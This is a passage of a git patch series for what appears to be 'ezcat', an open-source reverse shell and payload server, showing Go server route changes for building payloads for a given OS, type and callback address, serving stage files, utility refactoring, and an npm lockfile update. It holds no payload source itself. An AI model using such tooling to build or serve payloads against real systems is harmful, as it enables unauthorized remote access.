builder.TargetByCode(data["os"]); target == nil { + return util.Error(c, "Unknown OS/Arch") + } - if err != nil { - job.Message = fmt.Sprintf("Build failed: %s", err.Error()) - job.Success = false - return - } + if payload = build.GetPayload(data["type"]); payload == nil { + return util.Error(c, "Unknown payload type") + } - job.Message = res - job.Success = true - }() + if res, err = build.Create(payload, target, data["address"]); err != nil { + return util.Error(c, fmt.Sprintf("Build failed: %s", err.Error())) + } - return c.JSON(&fiber.Map{ - "job": job.ID, - }) + return c.JSON(&fiber.Map{ + "payload": string(res), + }) } diff --git a/server/routes/stage.go b/server/routes/stage.go index 02d2218..42159b2 100644 --- a/server/routes/stage.go +++ b/server/routes/stage.go @@ -2,19 +2,24 @@ package routes import ( "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/payload" + "github.com/ngn13/ezcat/server/builder" ) func GET_stage(c *fiber.Ctx) error { - id := c.Params("id") - if id == "" { - return c.Status(404).SendString("not found") - } - - stpath := payload.StageGet(id) - if stpath == "" { - return c.Status(404).SendString("not found") - } + var ( + id string + stage_path string + ) - return c.SendFile(stpath) + build := c.Locals("builder").(*builder.Struct) + + if id = c.Params("id"); id == "" { + return c.Status(404).SendString("not found") + } + + if stage_path = build.GetStage(id); stage_path == "" { + return c.Status(404).SendString("not found") + } + + return c.SendFile(stage_path) } diff --git a/server/routes/token.go b/server/routes/token.go deleted file mode 100644 index a251179..0000000 --- a/server/routes/token.go +++ /dev/null @@ -1,40 +0,0 @@ -package routes - -import ( - "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/util" -) - -var tokens []string = []string{} - -func TokenOK(c *fiber.Ctx) bool { - token := util.GetToken(c) - for _, t := range tokens { - if t == token { - return true - } - } - return false -} - -func TokenNew() string { - tokens = append(tokens, util.MakeRandom(31)) - return tokens[len(tokens)-1] -} - -func TokenDel(token string) { - for i, t := range tokens { - if t == token { - tokens = append(tokens[:i], tokens[i+1:]...) - return - } - } -} - -func ALL_auth(c *fiber.Ctx) error { - if TokenOK(c) { - return c.Next() - } - - return util.ErrorCode(c, 401) -} diff --git a/server/util/util.go b/server/util/util.go index a0c731d..629ae37 100644 --- a/server/util/util.go +++ b/server/util/util.go @@ -4,6 +4,7 @@ import ( "encoding/base64" "fmt" "io" + "math" "math/rand" "net" "os" @@ -13,284 +14,257 @@ import ( "strings" "github.com/gofiber/fiber/v2" - "github.com/ngn13/ezcat/server/log" ) - var chars = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789") func MakeRandom(size int) string { - ret := make([]rune, size) - for i := range ret { - ret[i] = chars[rand.Intn(len(chars))] - } - - return string(ret) -} - -func Error(c *fiber.Ctx, err string) error { - return c.JSON(fiber.Map{ - "error": err, - }) -} + ret := make([]rune, size) + for i := range ret { + ret[i] = chars[rand.Intn(len(chars))] + } -func ErrorCode(c *fiber.Ctx, code int) error { - switch code { - case 400: - return c.Status(code).JSON(fiber.Map{ - "error": "Bad request", - }) - - case 401: - return c.Status(code).JSON(fiber.Map{ - "error": "You are not logged in", - }) - - default: - return c.Status(code).JSON(fiber.Map{ - "error": "Internal error", - }) - } -} - -func ErrorInternal(c *fiber.Ctx, err string) error { - log.Err("Error: %s", err) - return ErrorCode(c, 500) + return string(ret) } func SendEnc(c *fiber.Ctx, plain string) error { - enc := base64.StdEncoding.EncodeToString([]byte(plain)) - return c.SendString(enc) + enc := base64.StdEncoding.EncodeToString([]byte(plain)) + return c.SendString(enc) } -func Reverse(str string) (result string) { - for _, v := range str { - result = string(v) + result - } - - return -} +func Reverse(str string) (result string) { + for _, v := range str { + result = string(v) + result + } -func GetToken(c *fiber.Ctx) string { - return c.Get("Authorization") + return } -func CORS(c *fiber.Ctx) error { - c.Set("Access-Control-Allow-Origin", "*") - c.Set("Access-Control-Allow-Headers", - "Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With") - c.Set("Access-Control-Allow-Methods", "OPTIONS, PUT, DELETE, GET") - - if c.Method() == "OPTIONS" { - return c.SendString("") - } - - return c.Next() +func GetToken(c *fiber.Ctx) string { + return c.Get("Authorization") } func GetAddr(addrs []net.Addr) string { - for _, a := range addrs { - switch v := a.(type) { - case *net.IPNet: - if strings.Contains(v.IP.String(), ":") { - continue - } - return v.IP.String() - case *net.IPAddr: - if strings.Contains(v.IP.String(), ":") { - continue - } - return v.IP.String() - } - } - - return "" + for _, a := range addrs { + switch v := a.(type) { + case *net.IPNet: + if strings.Contains(v.IP.String(), ":") { + continue + } + return v.IP.String() + case *net.IPAddr: + if strings.Contains(v.IP.String(), ":") { + continue + } + return v.IP.String() + } + } + + return "" } func GetIP() string { - enip := os.Getenv("SHELLIP") - if enip != "" { - return enip - } - - ip := "127.0.0.1" - foundtun := false - ifs, err := net.Interfaces() - if err != nil { - return ip - } - - for _, i := range ifs { - if strings.HasPrefix(i.Name, "lo") || - strings.HasPrefix(i.Name, "docker") || - foundtun{ - continue - } - - ips, err := i.Addrs() - if err != nil || len(ips) == 0{ - continue - } - - nip := GetAddr(ips) - if nip == "" { - continue - } - - ip = nip - if strings.HasPrefix(i.Name, "tun") { - foundtun = true - } - } - - return ip + enip := os.Getenv("SHELLIP") + if enip != "" { + return enip + } + + ip := "127.0.0.1" + foundtun := false + ifs, err := net.Interfaces() + if err != nil { + return ip + } + + for _, i := range ifs { + if strings.HasPrefix(i.Name, "lo") || + strings.HasPrefix(i.Name, "docker") || + foundtun { + continue + } + + ips, err := i.Addrs() + if err != nil || len(ips) == 0 { + continue + } + + nip := GetAddr(ips) + if nip == "" { + continue + } + + ip = nip + if strings.HasPrefix(i.Name, "tun") { + foundtun = true + } + } + + return ip } func Access(p string) bool { - _, err := os.Stat(p) - if err != nil { - return false - } - return true + _, err := os.Stat(p) + if err != nil { + return false + } + return true } func Rot13Byte(c byte) byte { - if (c >= 'A' && c <= 'Z'){ - return 'A' + ((c - 'A' + 13) % 26) - }else if (c >= 'a' && c <= 'z'){ - return 'a' + ((c - 'a' + 13) % 26) - } - return c + if c >= 'A' && c <= 'Z' { + return 'A' + ((c - 'A' + 13) % 26) + } else if c >= 'a' && c <= 'z' { + return 'a' + ((c - 'a' + 13) % 26) + } + return c } func Rot13(s string) string { - var result []byte - bytes := []byte(s) + var result []byte + bytes := []byte(s) - for _, b := range bytes { - result = append(result, Rot13Byte(b)) - } + for _, b := range bytes { + result = append(result, Rot13Byte(b)) + } - return string(result) + return string(result) } func CopyFile(dst string, src string) error { - srcf, err := os.Open(src) - if err != nil { - return err - } - defer srcf.Close() - - dstf, err := os.Create(dst) - if err != nil { - return err - } - defer dstf.Close() - - _, err = io.Copy(dstf, srcf) - if err != nil { - return err - } - - err = dstf.Sync() - if err != nil { - return err - } - - return nil + srcf, err := os.Open(src) + if err != nil { + return err + } + defer srcf.Close() + + dstf, err := os.Create(dst) + if err != nil { + return err + } + defer dstf.Close() + + _, err = io.Copy(dstf, srcf) + if err != nil { + return err + } + + err = dstf.Sync() + if err != nil { + return err + } + + return nil } func CopySimple(dst string, src string) error { - st, err := os.Stat(src) - if err != nil { - return err - } - - if !st.IsDir(){ - return CopyFile(dst, src) - } - - err = os.Mkdir(dst, os.ModePerm) - if err != nil { - return err - } - - entries, err := os.ReadDir(src) - if err != nil { - return err - } - - for _, e := range entries { - src_new := path.Join(src, e.Name()) - dst_new := path.Join(dst, e.Name()) - - err = CopySimple(dst_new, src_new) - if err != nil { - return err - } - } - - return nil -} - -func BoolToStr(r bool) string{ - if r { - return "true" - } - return "false" + st, err := os.Stat(src) + if err != nil { + return err + } + + if !st.IsDir() { + return CopyFile(dst, src) + } + + err = os.Mkdir(dst, os.ModePerm) + if err != nil { + return err + } + + entries, err := os.ReadDir(src) + if err != nil { + return err + } + + for _, e := range entries { + src_new := path.Join(src, e.Name()) + dst_new := path.Join(dst, e.Name()) + + err = CopySimple(dst_new, src_new) + if err != nil { + return err + } + } + + return nil } -func RunBuild(dir string, oscode string) (string, error) { - cmd := exec.Command("/bin/bash", "build.sh", oscode) - cmd.Dir = dir +func BoolToStr(r bool) string { + if r { + return "true" + } + return "false" +} + +func RunBuild(dir string, oscode string, options map[string]string) (string, error) { + var ( + output []byte + err error + ) + + cmd := exec.Command("/bin/bash", "build.sh", oscode) - output, err := cmd.CombinedOutput() + if nil != options { + for k, v := range options { + opt := fmt.Sprintf("-D%s=%s", k, v) - if err != nil { - return string(output), err - } + cmd.Args = append(cmd.Args, opt) + cmd.Dir = dir + } + } - return string(output), nil + if output, err = cmd.CombinedOutput(); err != nil { + return string(output), err + } + + return string(output), nil } -func IsValidPort(port int) bool{ - return port > 0 && port <= 65535 +func IsValidPort(port int) bool { + return port > 0 && port <= math.MaxUint16 } -func ParseAddr(addr string) (string, int, error) { - cols := strings.Split(addr, ":") - if len(cols) != 2{ - return "", -1, fmt.Errorf("invalid address format") - } +func ParseAddr(addr string) (string, uint16, error) { + cols := strings.Split(addr, ":") + + if len(cols) != 2 { + return "", 0, fmt.Errorf("invalid address format") + } + + port, err := strconv.Atoi(cols[1]) - port, err := strconv.Atoi(cols[1]) - if err != nil || !IsValidPort(port) { - return "", -1, fmt.Errorf("invalid port number") - } + if err != nil || !IsValidPort(port) { + return "", 0, fmt.Errorf("invalid port number") + } - return cols[0], port, nil + return cols[0], uint16(port), nil } -func ContainsString(s string, l []string) bool{ - for _, e := range l { - if s == e { - return true - } - } - return false +func ContainsString(s string, l []string) bool { + for _, e := range l { + if s == e { + return true + } + } + return false } func CleanTemp() { - entries, err := os.ReadDir("/tmp") - if err != nil { - return - } - - for _, e := range entries { - name := e.Name() - if !strings.HasPrefix(name, "ezcat_") { - continue - } - os.RemoveAll(path.Join("/tmp", name)) - } + entries, err := os.ReadDir("/tmp") + if err != nil { + return + } + + for _, e := range entries { + name := e.Name() + if !strings.HasPrefix(name, "ezcat_") { + continue + } + os.RemoveAll(path.Join("/tmp", name)) + } +} + +func ToUint32(s string) (uint32, error) { + id, err := strconv.ParseUint(s, 10, 32) + return uint32(id), err } diff --git a/server/util/web.go b/server/util/web.go new file mode 100644 index 0000000..e31855c --- /dev/null +++ b/server/util/web.go @@ -0,0 +1,36 @@ +package util + +import ( + "github.com/gofiber/fiber/v2" + "github.com/ngn13/ezcat/server/log" +) + +func Error(c *fiber.Ctx, err string) error { + return c.JSON(fiber.Map{ + "error": err, + }) +} + +func ErrorCode(c *fiber.Ctx, code int) error { + switch code { + case 400: + return c.Status(code).JSON(fiber.Map{ + "error": "Bad request", + }) + + case 401: + return c.Status(code).JSON(fiber.Map{ + "error": "You are not logged in", + }) + + default: + return c.Status(code).JSON(fiber.Map{ + "error": "Internal error", + }) + } +} + +func ErrorInternal(c *fiber.Ctx, err string) error { + log.Fail("%s", err) + return ErrorCode(c, 500) +} From 3aeb019b050dcc43f4356256c931f48006017895 Mon Sep 17 00:00:00 2001 From: ngn Date: Wed, 20 Nov 2024 22:36:44 +0300 Subject: [PATCH 3/6] npm audit fix --- app/package-lock.json | 212 +++++++++++++++++++++++++----------------- 1 file changed, 128 insertions(+), 84 deletions(-) diff --git a/app/package-lock.json b/app/package-lock.json index 5e26ae3..4cd39ba 100644 --- a/app/package-lock.json +++ b/app/package-lock.json @@ -454,218 +454,263 @@ "dev": true }, "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.21.2.tgz", - "integrity": "sha512-fSuPrt0ZO8uXeS+xP3b+yYTCBUd05MoSp2N/MFOgjhhUhMmchXlpTQrTpI8T+YAwAQuK7MafsCOxW7VrPMrJcg==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.27.3.tgz", + "integrity": "sha512-EzxVSkIvCFxUd4Mgm4xR9YXrcp976qVaHnqom/Tgm+vU79k4vV4eYTjmRvGfeoW8m9LVcsAy/lGjcgVegKEhLQ==", "cpu": [ "arm" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "android" ] }, "node_modules/@rollup/rollup-android-arm64": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.21.2.tgz", - "integrity": "sha512-xGU5ZQmPlsjQS6tzTTGwMsnKUtu0WVbl0hYpTPauvbRAnmIvpInhJtgjj3mcuJpEiuUw4v1s4BimkdfDWlh7gA==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.27.3.tgz", + "integrity": "sha512-LJc5pDf1wjlt9o/Giaw9Ofl+k/vLUaYsE2zeQGH85giX2F+wn/Cg8b3c5CDP3qmVmeO5NzwVUzQQxwZvC2eQKw==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "android" ] }, "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.21.2.tgz", - "integrity": "sha512-99AhQ3/ZMxU7jw34Sq8brzXqWH/bMnf7ZVhvLk9QU2cOepbQSVTns6qoErJmSiAvU3InRqC2RRZ5ovh1KN0d0Q==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.27.3.tgz", + "integrity": "sha512-OuRysZ1Mt7wpWJ+aYKblVbJWtVn3Cy52h8nLuNSzTqSesYw1EuN6wKp5NW/4eSre3mp12gqFRXOKTcN3AI3LqA==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "darwin" ] }, "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.21.2.tgz", - "integrity": "sha512-ZbRaUvw2iN/y37x6dY50D8m2BnDbBjlnMPotDi/qITMJ4sIxNY33HArjikDyakhSv0+ybdUxhWxE6kTI4oX26w==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.27.3.tgz", + "integrity": "sha512-xW//zjJMlJs2sOrCmXdB4d0uiilZsOdlGQIC/jjmMWT47lkLLoB1nsNhPUcnoqyi5YR6I4h+FjBpILxbEy8JRg==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "darwin" ] }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.27.3.tgz", + "integrity": "sha512-58E0tIcwZ+12nK1WiLzHOD8I0d0kdrY/+o7yFVPRHuVGY3twBwzwDdTIBGRxLmyjciMYl1B/U515GJy+yn46qw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.27.3.tgz", + "integrity": "sha512-78fohrpcVwTLxg1ZzBMlwEimoAJmY6B+5TsyAZ3Vok7YabRBUvjYTsRXPTjGEvv/mfgVBepbW28OlMEz4w8wGA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.21.2.tgz", - "integrity": "sha512-ztRJJMiE8nnU1YFcdbd9BcH6bGWG1z+jP+IPW2oDUAPxPjo9dverIOyXz76m6IPA6udEL12reYeLojzW2cYL7w==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.27.3.tgz", + "integrity": "sha512-h2Ay79YFXyQi+QZKo3ISZDyKaVD7uUvukEHTOft7kh00WF9mxAaxZsNs3o/eukbeKuH35jBvQqrT61fzKfAB/Q==", "cpu": [ "arm" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.21.2.tgz", - "integrity": "sha512-flOcGHDZajGKYpLV0JNc0VFH361M7rnV1ee+NTeC/BQQ1/0pllYcFmxpagltANYt8FYf9+kL6RSk80Ziwyhr7w==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.27.3.tgz", + "integrity": "sha512-Sv2GWmrJfRY57urktVLQ0VKZjNZGogVtASAgosDZ1aUB+ykPxSi3X1nWORL5Jk0sTIIwQiPH7iE3BMi9zGWfkg==", "cpu": [ "arm" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.21.2.tgz", - "integrity": "sha512-69CF19Kp3TdMopyteO/LJbWufOzqqXzkrv4L2sP8kfMaAQ6iwky7NoXTp7bD6/irKgknDKM0P9E/1l5XxVQAhw==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.27.3.tgz", + "integrity": "sha512-FPoJBLsPW2bDNWjSrwNuTPUt30VnfM8GPGRoLCYKZpPx0xiIEdFip3dH6CqgoT0RnoGXptaNziM0WlKgBc+OWQ==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.21.2.tgz", - "integrity": "sha512-48pD/fJkTiHAZTnZwR0VzHrao70/4MlzJrq0ZsILjLW/Ab/1XlVUStYyGt7tdyIiVSlGZbnliqmult/QGA2O2w==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.27.3.tgz", + "integrity": "sha512-TKxiOvBorYq4sUpA0JT+Fkh+l+G9DScnG5Dqx7wiiqVMiRSkzTclP35pE6eQQYjP4Gc8yEkJGea6rz4qyWhp3g==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-powerpc64le-gnu": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.21.2.tgz", - "integrity": "sha512-cZdyuInj0ofc7mAQpKcPR2a2iu4YM4FQfuUzCVA2u4HI95lCwzjoPtdWjdpDKyHxI0UO82bLDoOaLfpZ/wviyQ==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.27.3.tgz", + "integrity": "sha512-v2M/mPvVUKVOKITa0oCFksnQQ/TqGrT+yD0184/cWHIu0LoIuYHwox0Pm3ccXEz8cEQDLk6FPKd1CCm+PlsISw==", "cpu": [ "ppc64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.21.2.tgz", - "integrity": "sha512-RL56JMT6NwQ0lXIQmMIWr1SW28z4E4pOhRRNqwWZeXpRlykRIlEpSWdsgNWJbYBEWD84eocjSGDu/XxbYeCmwg==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.27.3.tgz", + "integrity": "sha512-LdrI4Yocb1a/tFVkzmOE5WyYRgEBOyEhWYJe4gsDWDiwnjYKjNs7PS6SGlTDB7maOHF4kxevsuNBl2iOcj3b4A==", "cpu": [ "riscv64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.21.2.tgz", - "integrity": "sha512-PMxkrWS9z38bCr3rWvDFVGD6sFeZJw4iQlhrup7ReGmfn7Oukrr/zweLhYX6v2/8J6Cep9IEA/SmjXjCmSbrMQ==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.27.3.tgz", + "integrity": "sha512-d4wVu6SXij/jyiwPvI6C4KxdGzuZOvJ6y9VfrcleHTwo68fl8vZC5ZYHsCVPUi4tndCfMlFniWgwonQ5CUpQcA==", "cpu": [ "s390x" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.21.2.tgz", - "integrity": "sha512-B90tYAUoLhU22olrafY3JQCFLnT3NglazdwkHyxNDYF/zAxJt5fJUB/yBoWFoIQ7SQj+KLe3iL4BhOMa9fzgpw==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.27.3.tgz", + "integrity": "sha512-/6bn6pp1fsCGEY5n3yajmzZQAh+mW4QPItbiWxs69zskBzJuheb3tNynEjL+mKOsUSFK11X4LYF2BwwXnzWleA==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.21.2.tgz", - "integrity": "sha512-7twFizNXudESmC9oneLGIUmoHiiLppz/Xs5uJQ4ShvE6234K0VB1/aJYU3f/4g7PhssLGKBVCC37uRkkOi8wjg==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.27.3.tgz", + "integrity": "sha512-nBXOfJds8OzUT1qUreT/en3eyOXd2EH5b0wr2bVB5999qHdGKkzGzIyKYaKj02lXk6wpN71ltLIaQpu58YFBoQ==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "linux" ] }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.21.2.tgz", - "integrity": "sha512-9rRero0E7qTeYf6+rFh3AErTNU1VCQg2mn7CQcI44vNUWM9Ze7MSRS/9RFuSsox+vstRt97+x3sOhEey024FRQ==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.27.3.tgz", + "integrity": "sha512-ogfbEVQgIZOz5WPWXF2HVb6En+kWzScuxJo/WdQTqEgeyGkaa2ui5sQav9Zkr7bnNCLK48uxmmK0TySm22eiuw==", "cpu": [ "arm64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "win32" ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.21.2.tgz", - "integrity": "sha512-5rA4vjlqgrpbFVVHX3qkrCo/fZTj1q0Xxpg+Z7yIo3J2AilW7t2+n6Q8Jrx+4MrYpAnjttTYF8rr7bP46BPzRw==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.27.3.tgz", + "integrity": "sha512-ecE36ZBMLINqiTtSNQ1vzWc5pXLQHlf/oqGp/bSbi7iedcjcNb6QbCBNG73Euyy2C+l/fn8qKWEwxr+0SSfs3w==", "cpu": [ "ia32" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "win32" ] }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.21.2.tgz", - "integrity": "sha512-6UUxd0+SKomjdzuAcp+HAmxw1FlGBnl1v2yEPSabtx4lBfdXHDVsW7+lQkgz9cNFJGY3AWR7+V8P5BqkD9L9nA==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.27.3.tgz", + "integrity": "sha512-vliZLrDmYKyaUoMzEbMTg2JkerfBjn03KmAw9CykO0Zzkzoyd7o3iZNam/TpyWNjNT+Cz2iO3P9Smv2wgrR+Eg==", "cpu": [ "x64" ], "dev": true, + "license": "MIT", "optional": true, "os": [ "win32" ] }, "node_modules/@sveltejs/adapter-auto": { - "version": "3.2.5", - "resolved": "https://registry.npmjs.org/@sveltejs/adapter-auto/-/adapter-auto-3.2.5.tgz", - "integrity": "sha512-27LR+uKccZ62lgq4N/hvyU2G+hTP9fxWEAfnZcl70HnyfAjMSsGk1z/SjAPXNCD1mVJIE7IFu3TQ8cQ/UH3c0A==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@sveltejs/adapter-auto/-/adapter-auto-3.3.1.tgz", + "integrity": "sha512-5Sc7WAxYdL6q9j/+D0jJKjGREGlfIevDyHSQ2eNETHcB1TKlQWHcAo8AS8H1QdjNvSXpvOwNjykDUHPEAyGgdQ==", "dev": true, + "license": "MIT", "dependencies": { "import-meta-resolve": "^4.1.0" }, @@ -674,10 +719,11 @@ } }, "node_modules/@sveltejs/adapter-static": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@sveltejs/adapter-static/-/adapter-static-3.0.5.tgz", - "integrity": "sha512-kFJR7RxeB6FBvrKZWAEzIALatgy11ISaaZbcPup8JdWUdrmmfUHHTJ738YHJTEfnCiiXi6aX8Q6ePY7tnSMD6Q==", + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/@sveltejs/adapter-static/-/adapter-static-3.0.6.tgz", + "integrity": "sha512-MGJcesnJWj7FxDcB/GbrdYD3q24Uk0PIL4QIX149ku+hlJuj//nxUbb0HxUTpjkecWfHjVveSUnUaQWnPRXlpg==", "dev": true, + "license": "MIT", "peerDependencies": { "@sveltejs/kit": "^2.0.0" } @@ -759,10 +805,11 @@ "dev": true }, "node_modules/@types/estree": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", - "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==", - "dev": true + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", + "dev": true, + "license": "MIT" }, "node_modules/acorn": { "version": "8.14.0", @@ -943,12 +990,6 @@ "@types/estree": "^1.0.6" } }, - "node_modules/is-reference/node_modules/@types/estree": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", - "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", - "dev": true - }, "node_modules/kleur": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", @@ -1075,12 +1116,13 @@ } }, "node_modules/rollup": { - "version": "4.21.2", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.21.2.tgz", - "integrity": "sha512-e3TapAgYf9xjdLvKQCkQTnbTKd4a6jwlpQSJJFokHGaX2IVjoEqkIIhiQfqsi0cdwlOD+tQGuOd5AJkc5RngBw==", + "version": "4.27.3", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.27.3.tgz", + "integrity": "sha512-SLsCOnlmGt9VoZ9Ek8yBK8tAdmPHeppkw+Xa7yDlCEhDTvwYei03JlWo1fdc7YTfLZ4tD8riJCUyAgTbszk1fQ==", "dev": true, + "license": "MIT", "dependencies": { - "@types/estree": "1.0.5" + "@types/estree": "1.0.6" }, "bin": { "rollup": "dist/bin/rollup" @@ -1090,22 +1132,24 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.21.2", - "@rollup/rollup-android-arm64": "4.21.2", - "@rollup/rollup-darwin-arm64": "4.21.2", - "@rollup/rollup-darwin-x64": "4.21.2", - "@rollup/rollup-linux-arm-gnueabihf": "4.21.2", - "@rollup/rollup-linux-arm-musleabihf": "4.21.2", - "@rollup/rollup-linux-arm64-gnu": "4.21.2", - "@rollup/rollup-linux-arm64-musl": "4.21.2", - "@rollup/rollup-linux-powerpc64le-gnu": "4.21.2", - "@rollup/rollup-linux-riscv64-gnu": 